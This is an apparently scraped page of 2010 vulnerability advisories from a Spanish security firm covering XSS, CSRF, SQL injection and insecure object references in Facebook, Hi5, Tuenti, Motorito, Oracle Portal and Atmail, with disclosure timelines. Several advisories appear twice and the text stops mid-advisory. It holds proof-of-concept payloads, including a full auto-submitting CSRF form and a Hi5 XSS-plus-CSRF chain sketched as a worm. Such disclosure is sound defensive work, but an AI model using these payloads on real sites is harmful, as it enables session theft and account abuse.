2010-001: Facebook HTML and Script code injection vulnerability
Original release date: January 8th, 2010 Last revised: February 3rd, 2010 Discovered by: Juan Galiana Lara Severity: 6.3/10 (CVSS Base Scored)
BACKGROUND
Facebook is a social networking website that is operated and privately owned by Facebook, Inc. Users can add friends and send them messages, and update their personal profiles to notify friends about themselves. Additionally, users can join networks organized by city, workplace, school, and region. The website's name stems from the colloquial name of books given at the start of the academic year by university administrations with the intention of helping students to get to know each other better.
DESCRIPTION
The mobile interface of Facebook social network is affected by Cross-Site Scripting vulnerability due variable "q" is not properly sanitized in http://m.facebook.com/friends.php.
An attacker can inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user.
This vulnerability has been discovered by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
January 8, 2010: Initial release. February 3, 2010: Last revision.
DISCLOSURE TIMELINE
January 2, 2010: Discovered by Internet Security Auditors. January 9, 2010: Vendor contacted including PoC. No response. January 11, 2010: Second contact. No response. January 19, 2010: Third contact. No response. January 20, 2010: Vulnerability corrected without any kind of contact. January 31, 2010: Response from Facebook Security member requiring info. February 3, 2010: Sent to lists for public interest.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Original release date: February 2nd, 2010 Last revised: February 12th, 2010 Discovered by: Juan Galiana Lara Severity: 6.3/10 (CVSS scored)
BACKGROUND
Facebook is a social networking website that is operated and privately owned by Facebook, Inc. Users can add friends and send them messages, and update their personal profiles to notify friends about themselves. Additionally, users can join networks organized by city, workplace, school, and region. The website's name stems from the colloquial name of books given at the start of the academic year by university administrations with the intention of helping students to get to know each other better.
DESCRIPTION
The mobile interface of Facebook social network is affected by Cross-Site Request Forgery (CSRF) vulnerability. The CSRF is due resource http://m.facebook.com/a/editprofile.php is not properly protected with a token when attempting to update some variables like phone_cell or phone_other. An attacker can force a user to perform actions on Facebook, changing its profile in an unauthorized manner.
PROOF OF CONCEPT
CSRF POC:
<html> <head> <script> function send() { document.forms[0].submit(); } </script> </head>
Other variables are affected, like phone_num and phone_ext when edit has the value phone_other.
BUSINESS IMPACT
An attacker can force an end user to execute unwanted actions on Facebook. Successful exploitation of proof of concept allows to update data of the victim profile.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
February 2, 2010: Initial release. February 10, 2010: Last review.
DISCLOSURE TIMELINE
February 2, 2010: Discovered by Internet Security Auditors. February 3, 2010: Vendor contacted. February 4, 2010: Response: under review. February 9, 2010: Corrected. February 10, 2010: Request status. Reponse: correction in progress. February 12, 2010: Sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2010-004: Facebook HTML and Script code injection vulnerability
Original release date: February 24th, 2010 Last revised: March 20th, 2013 Discovered by: Vicente Aguilera Díaz Severity:4.9/10 (CVSS Base Score)
BACKGROUND
Facebook is a social networking website that is operated and privately owned by Facebook, Inc. Users can add friends and send them messages, and update their personal profiles to notify friends about themselves. Additionally, users can join networks organized by city, workplace, school, and region. The website's name stems from the colloquial name of books given at the start of the academic year by university administrations with the intention of helping students to get to know each other better.
DESCRIPTION
The "Unblock email address" functionality in "My Account\Privacy\Block" section of Facebook social network is affected by Cross-Site Scripting vulnerability due variable "unblock_email" is not properly sanitized in "http://www.facebook.com/privacy/ajax/block.php". An attacker can inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user.
PROOF OF CONCEPT
POST /privacy/ajax/block.php?__a=1 HTTP/1.1
Host: www.facebook.com
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal user targeted cookies or to control the targeted user's browser.
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
February 24, 2010: Initial release. March 01, 2010: Final release.
DISCLOSURE TIMELINE
February 22, 2010: Discovered by Internet Security Auditors. March 01, 2010: Facebook Security team contacted. March 01, 2010: Facebook answers they will apply correction. Sometime 2010: Corrected without notification. March 20, 2013: Published for educational pourposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2010-005: SQL Injection and XSS in Motorito Motorito < v2.0 Ni 483>
Original release date: March 30th, 2010 Last revised: September 23th, 2010 Discovered by: Mario Diaz Caldera Severity: 5.5/10 (CVSS Base Score)
BACKGROUND
Motorito is an on-line marketing tool. It is used to manage the contents of Web Site, create new content, decide which news to put on the cover, update product catalog, manage the areas of promotion, manage users, edit the menu items, layout, send e-mails, etc.
DESCRIPTION
This bug was found using CENTOS and the last release of Motorito with Apache 2.2.3 and PHP 5.1.6. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application, and it is possible to check that the variables of the module index.php are not properly filtered.
PROOF OF CONCEPT
GET
/?mmod=>"'><script>alert(4135)</script>&file=>"'><script>alert(4135)</script>
HTTP/1.0
Cookie: PHPSESSID=frdmbbue2fkns0dq33mm1152n3
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: www.testhostwithmotorito.es
Referer: http://www.testhostwithmotorito.es/
HTTP/1.1 200 OK
Content-Length: 361
Date: Fri, 05 Feb 2010 08:53:16 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Database error: Invalid SQL: SELECT parentID
FROM sis_menus WHERE module='>"'><script>alert(4135)</script>'
MySQL Error: 1064 (You have an error in your SQL syntax; check
the manual that corresponds to your MySQL server version for the right
syntax to use near '><script>alert(4135)</script>'' at line 1)
Session halted.
BUSINESS IMPACT
Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible.
SYSTEMS AFFECTED
Motorito < v2.0 Ni 483
SOLUTION
Upgrade to next version of Motorito. It can be obtained from http://www.motorito.com Current version (at advisory publication 2.0 - Ni 891).
This vulnerability has been discovered by Mario Diaz Caldera (mdiaz (at) isecauditors (dot) com).
REVISION HISTORY
March 30, 2010: Initial release.
DISCLOSURE TIMELINE
February 22, 2010: Discovered by Internet Security Auditors. June 14, 2010: Send to the Vendor. Responsae about revision and inclusion in Project Plan. September 23, 2010: Request for update. Response about correction. September 23, 2010: Sent to public lists
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2010-006: Facebook Abuse of Functionality of Lint for anonymous port scan and DoS attacks
Original release date: June 21st, 2010 Last revised: March 20th, 2013 Discovered by: Angel Puigventos Gracia Severity:5.0/10 (CVSS Base Scored)
BACKGROUND
The application Facebook URL Lint allows HTTP connections to capture and interpret Web data. These requests are sent from Facebook's servers and does not require prior authentication.
DESCRIPTION
By specifying the destination port of the HTTP Web server connections and a evaluation of the response can be performed for any request. In cases when the port is open, the response given by the application is "Bad Protocol" but when the port does not respond, the response is "Internal Error". It is also possible to make an abuse of requests to perform DOS attacks anonymously.
PROOF OF CONCEPT
Just make GET requests to the application as follows:
Port scanning and DoS from Facebook infrastructure spoofing its IP addresses.
SYSTEMS AFFECTED
Other Facebook applications that perform HTTP queries using Facebook API can be affected by this abuse.
SOLUTION
Require the use of an authenticated user. Require the use of captchas. Restrict the use of querys based on the registration date and the use of the user account. Unify the error messages or not show them.
This vulnerability has been discovered by Angel Puigventos Gracia (apuigventos (at) isecauditors (dot) com).
REVISION HISTORY
June 21, 2010: Initial release. June 26, 2010: Final release.
DISCLOSURE TIMELINE
June 21, 2010: Discovered by Internet Security Auditors June 21, 2010: Facebook Security Team contacted. June 23, 2010: Facebook answers they cannot replay exploit. June 26, 2010: Verification that changes make the exploit changed. Confirmed to Facebook we cannot send them details due those changes. March 20, 2013: Published for educational pourposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2010-007: XSS in Oracle Portal Database Access Descriptor
Original release date: August 11th, 2010 Last revised: May 1st, 2011 Discovered by: Vicente Aguilera Diaz Severity: 5.0/10 (CVSS Base Score)
BACKGROUND
Oracle AS Portal is a Web-based application for building and deploying portals. It provides a secure, manageable environment for accessing and interacting with enterprise software services and information resources.
DESCRIPTION
Has been detected a reflected XSS vulnerability in Oracle Application Server, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. The code injection is done through the DAD name. A DAD (Database Access Descriptor) is a set of values that specifies how a database server should fulfill a HTTP request.
In this scenario, the attacker has the difficulty of being unable to close the HTML tag because he's can not add the character "/" as part of the code injection (DAD name). However, it is possible to generate that character without appearing in the injection. Below is an example.
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc.
SYSTEMS AFFECTED
Tested in Oracle Application Server Portal (Oracle AS Portal) 10g, version 10.1.2. Other versions may be affected too.
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
August 11, 2010: Initial release. May 01, 2011: Final revision
DISCLOSURE TIMELINE
August 11, 2010: Discovered by Internet Security Auditors. August 11, 2010: Oracle contacted including PoC. August 12, 2010: Oracle inform that will investigate the vulnerability. April 19, 2011: Oracle fixed the vulnerability in the CPU (Critical Patch Update). May 01, 2011: Sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
2010-008: Insecure Direct Object Reference in tuenti.com allow to read of any message user
Original release date: August 30th, 2010 Last revised: August 30th, 2010 Discovered by: Vicente Aguilera Diaz Severity: 4/10 (CVSS Base Scored)
BACKGROUND
Tuenti.com is a private social platform, which is accessed by invitation only. Every day millions of people use it to communicate with each other and share information.
DESCRIPTION
Has been detected a insecure direct object reference vulnerability in Tuenti.com, that allows the reading of any blog entry of any user, thus accessing to private messages of Tuenti.com users.
The "blog_entry_id" parameter directly refer to a blog entry, so if a user change the value of this parameter can access to arbitrary blog entries.
PROOF OF CONCEPT
Original Request
POST /?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none HTTP/1.1 Host: wwwb21.tuenti.com ...
blog_entry_id=<blog_entry_id>&csfr=<token>
where:
- <user_id> = id of the authenticated user - <blog_entry_id> = id of the blog entry requested by the authenticated user - <token> = an arbitrary value, to protect against csrf attacks
Malicious Request
POST /?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none HTTP/1.1 Host: wwwb21.tuenti.com ...
- <user_id> = id of the authenticated user - <another_blog_entry_id> = id of an arbitrary blog entry, posted by any tuenti user - <token> = an arbitrary value, to protect against csrf attacks
BUSINESS IMPACT
An attacker can read arbitrary blog entries of any tuenti.com user. This can leverage to access private/sensitive information of tuenti.com users.
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
August 30, 2010: Initial release. September 12, 2010: Last revision.
DISCLOSURE TIMELINE
August 21, 2010: Discovered by Internet Security Auditors August 31, 2010: Tuenti first contact. No response. September 2, 2010: Second contact trough other social network.Response from Sec. Team. September 3, 2010: Advisory sent to Sec. Team. September 8, 2010: Tuenti confirm the issue was identified due our tests and corrected immediately. September 21, 2010: Published for education purposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
2010-009: Reflected XSS in the login process of the Atmail WebMail < v6.1.9
Original release date: August 30th, 2010 Last revised: September 21st, 2010 Discovered by: Vicente Aguilera Diaz Severity: 4.3/10 (CVSS Base Scored)
BACKGROUND
Atmail allows users to access IMAP Mailboxes of any server of your choice. The software provides a comprehensive email-suite for accessing user mailboxes, and provides an inbuilt Calendar and Addressbook features. The WebMail Client of Atmail supports any existing IMAP server running under Unix/Linux or Windows systems.
DESCRIPTION
Has been detected a reflected XSS vulnerability in the login process of the Atmail WebMail, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser.
The code injection is done through the "MailType" parameter, and can be exploited without a user account in the WebMail.
Moreover, the login request may be made by the HTTP GET method (by default, HTTP POST method is used), so this facilitates the exploitation of the vulnerability.
PROOF OF CONCEPT
Original Request
POST /index.php/mail/auth/processlogin HTTP/1.1 Host: <atmail_host> ... emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email> &password=<password>&requestedServer=&MailType=IMAP
Malicious Request - Example 1:
POST /index.php/mail/auth/processlogin HTTP/1.1 Host: <atmail_host> ... emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email> &password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>
Malicious Request - Example 2:
GET /index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original& email=<email>&password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script > HTTP/1.1
BUSINESS IMPACT
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc.
SYSTEMS AFFECTED
Tested in Atmail 6.1.9. Other versions may be affected too.
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
August 30, 2010: Initial release September 21, 2010: Last revision
DISCLOSURE TIMELINE
August 30, 2010: Discovered by Internet Security Auditors August 31, 2010: Atmail contacted including PoC.Response about the scheduled correction. September 2, 2010: Published version 6.2.0 that includes this patch. September 21, 2010: Advisory sent to public lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
2010-010: Uninitialized variables allow to access the Motorito CMS administration panel.
Original release date: November 3rd, 2010 Last revised: March 20th, 2013 Discovered by: Vicente Aguilera Diaz Severity: 8/10 (CVSSv2 Base Scored)
BACKGROUND
Motorito is an on-line marketing tool. It is used to manage the contents of Web Site, create new content, decide which news to put on the cover, update product catalog, manage the areas of promotion, manage users, edit the menu items, layout, send e-mails, etc.
DESCRIPTION
The Motorito CMS does not initialize some variables used. This fact, coupled with a deficient web server configuration (which had enabled the directive "register_globals = on" in the php.ini configuration file) allows a malicious user to compromise the web application and even the server itself.
Thus, a malicious user can introduce as part of the GET or POST normal request, new variables to the request to be adopted by the web application allowing the user to control the flow of the application.
Exploitation of this vulnerability allows access to the administration panel of the CMS with the risk involved.
PROOF OF CONCEPT
=== Example 1: Allow to access in administrator mode Original request:
http:///admin/admin.php
Malicious request:
http:///admin/admin.php?S_user=4
=== Example 2: Allow to access in administrator mode to different modules Original request:
=== Example 3: Allow to exploit a SQL Injection vulnerability Original request:
POST /admin/login_admin.php HTTP/1.1userform=test&passform=test
Malicious request:
POST /admin/login_admin.php HTTP/1.1userform=test&passform=test&S_idl=1+and+1+in+(select+1+from+xxx)
Response:
...
Database error: Invalid SQL: SELECT iduser FROM sis_users WHERE user='test' AND active=1 AND idlocal=1 and 1 in (select 1 from xxx) AND isadmin=1
MySQL Error: 1146 (Table 'database.xxx' doesn't exist)
Session halted.
...
BUSINESS IMPACT
An attacker can access to the administration panel in authenticated mode, compromising the web application or ever, the server itself.
SYSTEMS AFFECTED
Tested in Motorito 2.0. Other versions may be affected too.
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
November 3, 2010: Initial release November 17, 2010: Final release
DISCLOSURE TIMELINE
November 3, 2010: Discovered by Internet Security Auditors. November 11, 2010: Sent to vendor. November 17, 2011: Vendor notifies its proper correction. March 20, 2013: Published for educational pourposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2010-011: Multiple vulnerabilities in Hi5.com social network.
Original release date:October 29th 2010 Last revised:May 1st, 2011 Discovered by: Eduardo Garcia Melia Severity: 7.8/10 (CVSS Base Scored)
BACKGROUND
Hi5 is a social network website (www.hi5.com). The company was founded in 2003 by Ramu Yalamanchi. Hi5 has 80 million registered users.
DESCRIPTION
This social network has the next vulnerabilities:
The application allows realizing the POST requests by means of the GET method.
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping.
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat or simply visiting the attacker profile ), an attacker may force the users of a web application to execute actions of the attacker's choosing.
In some places of the application, no token anti-xsrf is used. In other places, use as filter anti-xsrf the session value and the timestamp. The tokens anti-xsrf are not sufficient, because the persistent XSS vulnerability allows to execute Javascript code.
A URL Redirection Attack is a kind of vulnerability that redirects you to another page freely out of the original website when accessed, usually integrated with a phishing attack.
While you not logout of the application, the session never expires.
Transmission of sensitive information without ciphered channel (HTTP protocol), allows that an attacker who has access to this traffic, capture the sensitive information that could be transmitted, as for example, the user and password or session.
POST requests can be made through GET method
Persistent Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
URL Redirection
The session never expires
Transmission of sensitive using not using encryption.
PROOF OF CONCEPT
With this request, auto-accept all comments on his profile automatically (this makes it possible to perform CSRF attacks more easy). Example:
In this case, you can bypass the XSS Filter for inject HTML/JavaScript code in the application both through comments in the profile as through internal mail messages, etc. The application accepts html tags such as <h1>, although many of the dangerous tags are filtered (not true with <img>. To bypass the XSS Filter and inject HTML/JavaScript code, we just has double encoding:
This POST request, shows the typical popup with the "XSS" message, but can be developed for serious attacks like Rainbow worm or other worms in already used in social networks.
There are requests in the application using anti-XSRF tokens, but others do not and have been identified and exploited.
When the application do not have any token anti-xsrf, to perform this attack, the attacker would simply edit her profile, and in the interests tab, in any field put:
POST /friend/profile/editPersonal.do HTTP/1.1 Host: hi5.com timestamp=-5798286480324775860userId=XXXXXXX&interests=<img src="/friend/book/updateAutoAcceptSettings.do?autoAccept=0"/> &origAllTimeFavoriteArtists=&allTimeFavoriteArtists=&favoriteMovies=&favoriteTVShows=&favoriteBooks=&favoriteQuote=
This attack could also be exploited through parameter "interests" or any other.
With this example, a person who visited the attacker's profile, auto-accept all comments on his profile automatically.
On the other hand, when the applications use as token anti-xsrf the session and the timestamp, that attacker can use the persistent XSS vulnerability for injecting javascript code, that puts the session value in "js" parameter, and the timestamp value in "timestamp" parameter. For example, the normal POST request for add any friend:
Through GET/POST vulnerability is it possible to transform into GET request:
GET /friend/addFriendAjax.do?timestamp=5718257949255914042&js=CCE9B8BAED8F1A7A0FA50BF4D39A2238&requestSource=SEARCH &userid=XXXXXX&userId= HTTP/1.1 Host: hi5.com Cookie: esn=FybWQ9s5gu1naTVi6IA0TG2vEbM.; JSESSIONID=CCE9B8BAED8F1A7A0FA50BF4D39A2238;
Finally, with persistent XSS vulnerability, the attacker can inject javascript code for automation this request (OR ANY OTHER) with something like this:
<script> if (true) { window.location.href = "/friend/addFriendAjax.do?timestamp=" + url.replace("TIMESTAMP", new Date().getTime()) + "&js=" + HI5.Data.sessionId() + '&requestSource=SEARCH&userid=XXXXXX&userId='; } <script>
The application allows redirect the browser to any Internet address. The goal of this attack could be make the victim feel that is correctly accesing to a resource valid resource, when in fact, is being redirected to fake man in the middle site for credential capture. Following, and example redirecting Google.com website:
For example, the transmission of user and password in the authentication process.
POST/GET
POST /friend/book/updateAutoAcceptSettings.do HTTP/1.1 Host: hi5.com AutoAccept=0
GET /friend/book/updateAutoAcceptSettings.do?autoAccept=0 HTTP/1.1 Host: hi5.com
POST
GET
Persistent Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
URL Redirection
The session never expires
Transmission of sensitive using not using encryption.
BUSINESS IMPACT
These vulnerabilities allowed javascript to be run, opening a lot of possibilities to users with malicious intentions, for example, took over Hi5 social networks, infecting millions of users. One of them, is make all hi5 profiles visible (or any action):
Make an Auto-accept user comments on victim's profile through the CSRF, simply visiting the attacker's profile.
After that, the attacker write a message on victim's profile using JavaScript (persistent XSS) and would make victim's profile visible to all users.
These two steps are repeated in every victim's profile and grow exponentially as users visit the victim's profile.
This vulnerability has been discovered by Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
REVISION HISTORY
October 29, 2010: First results January 02, 2011: Initial release May 01, 2011: Last revision
DISCLOSURE TIMELINE
October 29, 2010: Vulnerability discovered by Internet Security Auditors January 10, 2011: First attempts for contacting hi5 networks January 12, 2011: Received response and advisory sent to vendor. February 15, 2011: Contact for update -> under correction. March 04, 2011: Contact for update -> Still correcting. May 01, 2011: Published after some contacts without answer.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
ABOUT
Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.
Advisories 2010
2010-001: Facebook HTML and Script code injection vulnerability
Original release date: January 8th, 2010
Last revised: February 3rd, 2010
Discovered by: Juan Galiana Lara
Severity: 6.3/10 (CVSS Base Scored)
BACKGROUND
Facebook is a social networking website that is operated and privately owned by Facebook, Inc. Users can add friends and send them messages, and update their personal profiles to notify friends about themselves. Additionally, users can join networks organized by city, workplace, school, and region. The website's name stems from the colloquial name of books given at the start of the academic year by university administrations with the intention of helping students to get to know each other better.
DESCRIPTION
The mobile interface of Facebook social network is affected by Cross-Site Scripting vulnerability due variable "q" is not properly sanitized in http://m.facebook.com/friends.php.
An attacker can inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user.
PROOF OF CONCEPT
http://m.facebook.com/friends.php?q=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E
BUSINESS IMPACT
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal user targeted cookies.
SYSTEMS AFFECTED
Facebook
SOLUTION
Corrected
REFERENCES
http://www.facebook.com
http://www.isecauditors.com
http://juangaliana.blogspot.com
CREDITS
This vulnerability has been discovered by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
January 8, 2010: Initial release.
February 3, 2010: Last revision.
DISCLOSURE TIMELINE
January 2, 2010: Discovered by Internet Security Auditors.
January 9, 2010: Vendor contacted including PoC. No response.
January 11, 2010: Second contact. No response.
January 19, 2010: Third contact. No response. January 20, 2010: Vulnerability corrected without any kind of contact.
January 31, 2010: Response from Facebook Security member requiring info.
February 3, 2010: Sent to lists for public interest.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2010-002: Facebook Cross-Site Request Forgery vulnerability
Original release date: February 2nd, 2010
Last revised: February 12th, 2010
Discovered by: Juan Galiana Lara
Severity: 6.3/10 (CVSS scored)
BACKGROUND
Facebook is a social networking website that is operated and privately owned by Facebook, Inc. Users can add friends and send them messages, and update their personal profiles to notify friends about themselves. Additionally, users can join networks organized by city, workplace, school, and region. The website's name stems from the colloquial name of books given at the start of the academic year by university administrations with the intention of helping students to get to know each other better.
DESCRIPTION
The mobile interface of Facebook social network is affected by Cross-Site Request Forgery (CSRF) vulnerability. The CSRF is due resource http://m.facebook.com/a/editprofile.php is not properly protected with a token when attempting to update some variables like phone_cell or phone_other. An attacker can force a user to perform actions on Facebook, changing its profile in an unauthorized manner.
PROOF OF CONCEPT
CSRF POC:
<html> <head>
<script>
function send() {
document.forms[0].submit();
}
</script>
</head>
<body onload="send();">
<form action="http://m.facebook.com/a/editprofile.php?edit=phone_cell&type=contact" method="post">
<input type="hidden" name="phone_num" value="600000000">
<input type="hidden" name="save" value="">
</form>
</body>
</html>
Other variables are affected, like phone_num and phone_ext when edit has the value phone_other.
BUSINESS IMPACT
An attacker can force an end user to execute unwanted actions on Facebook. Successful exploitation of proof of concept allows to update data of the victim profile.
SYSTEMS AFFECTED
Facebook
SOLUTION
Corrected.
REFERENCES
http://www.facebook.com
http://www.isecauditors.com
http://juangaliana.blogspot.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
February 2, 2010: Initial release.
February 10, 2010: Last review.
DISCLOSURE TIMELINE
February 2, 2010: Discovered by Internet Security Auditors.
February 3, 2010: Vendor contacted.
February 4, 2010: Response: under review.
February 9, 2010: Corrected.
February 10, 2010: Request status. Reponse: correction in progress.
February 12, 2010: Sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2010-004: Facebook HTML and Script code injection vulnerability
Original release date: February 24th, 2010
Last revised: March 20th, 2013
Discovered by: Vicente Aguilera Díaz
Severity:4.9/10 (CVSS Base Score)
BACKGROUND
Facebook is a social networking website that is operated and privately owned by Facebook, Inc. Users can add friends and send them messages, and update their personal profiles to notify friends about themselves. Additionally, users can join networks organized by city, workplace, school, and region. The website's name stems from the colloquial name of books given at the start of the academic year by university administrations with the intention of helping students to get to know each other better.
DESCRIPTION
The "Unblock email address" functionality in "My Account\Privacy\Block" section of Facebook social network is affected by Cross-Site Scripting vulnerability due variable "unblock_email" is not properly sanitized in "http://www.facebook.com/privacy/ajax/block.php".
An attacker can inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user.
PROOF OF CONCEPT
Parameters:
BUSINESS IMPACT
An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal user targeted cookies or to control the targeted user's browser.
SYSTEMS AFFECTED
www.facebook.com
SOLUTION
Already corrected.
REFERENCES
http://www.facebook.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
February 24, 2010: Initial release.
March 01, 2010: Final release.
DISCLOSURE TIMELINE
February 22, 2010: Discovered by Internet Security Auditors.
March 01, 2010: Facebook Security team contacted. March 01, 2010: Facebook answers they will apply correction. Sometime 2010: Corrected without notification. March 20, 2013: Published for educational pourposes.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2010-005: SQL Injection and XSS in Motorito Motorito < v2.0 Ni 483>
Original release date: March 30th, 2010
Last revised: September 23th, 2010
Discovered by: Mario Diaz Caldera
Severity: 5.5/10 (CVSS Base Score)
BACKGROUND
Motorito is an on-line marketing tool. It is used to manage the contents of Web Site, create new content, decide which news to put on the cover, update product catalog, manage the areas of promotion, manage users, edit the menu items, layout, send e-mails, etc.
DESCRIPTION
This bug was found using CENTOS and the last release of Motorito with Apache 2.2.3 and PHP 5.1.6. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application, and it is possible to check that the variables of the module index.php are not properly filtered.
PROOF OF CONCEPT
GET /?mmod=>"'><script>alert(4135)</script>&file=>"'><script>alert(4135)</script> HTTP/1.0 Cookie: PHPSESSID=frdmbbue2fkns0dq33mm1152n3 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: www.testhostwithmotorito.es Referer: http://www.testhostwithmotorito.es/ HTTP/1.1 200 OK Content-Length: 361 Date: Fri, 05 Feb 2010 08:53:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Database error: Invalid SQL: SELECT parentID FROM sis_menus WHERE module='>"'><script>alert(4135)</script>' MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '><script>alert(4135)</script>'' at line 1) Session halted.BUSINESS IMPACT
